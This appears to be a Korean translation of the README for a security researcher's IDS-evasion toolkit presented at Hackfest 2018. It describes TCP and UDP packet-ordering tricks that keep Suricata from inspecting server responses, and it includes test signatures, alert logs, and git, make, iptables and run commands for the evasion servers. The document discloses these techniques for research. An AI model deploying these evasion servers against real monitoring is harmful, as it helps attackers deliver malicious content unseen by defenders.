
IDS 우회 기술
이 프로그램들은 오직 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오.
서버 측에서 정상적인 TCP 3방향 핸드셰이크 패킷 순서를 위반하고 3whs가 완료되기 전에 응답 데이터를 주입하면 클라이언트는 여전히 데이터를 수신하지만 일부 IDS 엔진은 해당 데이터에 대한 콘텐츠 검사를 건너뛸 수 있습니다.
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # Server responses as it should, but ...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # It sends HTTP response before the 3whs is completed
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # Moreover it finishes TCP session
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # Then it sends a HTTP GET request as nothing wrong happened
Suricata IDS < 4.0.4는 이 문제에 취약합니다. HTTP 또는 스트림-TCP 시그니처가 주입된 콘텐츠에 대해 경고하지 않습니다. PoC 네트워크 트래픽에 대해 다음 시그니처를 적용하면 악의적인 HTTP 응답 데이터에 대한 경고가 표시되지 않습니다.
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
Windows 클라이언트는 TCP RST 패킷 직후에 도착하더라도 TCP 데이터를 처리할 수 있습니다. 일부 IDS는 이를 올바르게 처리하여 RST 이후의 데이터를 일치시키려고 시도하지만, 일부는 RST 수신 후 TCP 스트림 검사를 중단합니다.
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # Server responses with TCP RST
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # And SYN-ACK shortly after RST
... 3whs continues ...
Suricata IDS는 여전히 이 문제에 취약합니다. HTTP 또는 스트림-TCP 시그니처가 이 TCP 세션에 대해 경고하지 않습니다.
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
서버는 UDP 패킷이 닫힌 UDP 포트로 전송된 경우 ICMP 메시지 유형 "Destination Unreachable" 코드 "Port Unreachable"로 응답해야 합니다. IDS는 ICMP Unreachable 응답을 TCP RST 패킷과 같은 방식으로 해석하여 이 UDP 스트림의 트래픽 검사를 중단하거나 제한할 수 있습니다. ICMP 메시지 뒤에 일반 UDP 응답이 오면 공격자는 자신의 서버에서 오는 트래픽에 대한 UDP 검사를 우회합니다. 참고로 일반 클라이언트는 ICMP 목적지 도달 불가 메시지를 수신하면 연결을 종료하므로, ICMP 메시지에 첨부된 UDP에서 IP 주소와 UDP 포트를 교체하여 클라이언트는 이러한 ICMP 메시지를 수락하지 않지만 IDS는 수락합니다.
Client -> [UDP Req] -> Evil Server # Client starts UDP session by sending a packet
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # Server responses with *improved* ICMP Destination Unreachable first
Client <- [UDP Resp] <- Evil Server # And with UDP answer as usual
Suricata IDS < 3.1.2는 이 문제에 취약합니다. Evil Server의 패킷에 대해 UDP 시그니처가 일치하지 않습니다.
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
이 기술은 다른 침입 탐지 또는 네트워크 모니터링 도구 및 시스템에 적용될 수 있습니다.
Kirill Shipulin (Positive Technologies) (@kirill_wow) Hackfest 2018 발표 슬라이드 보기
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80
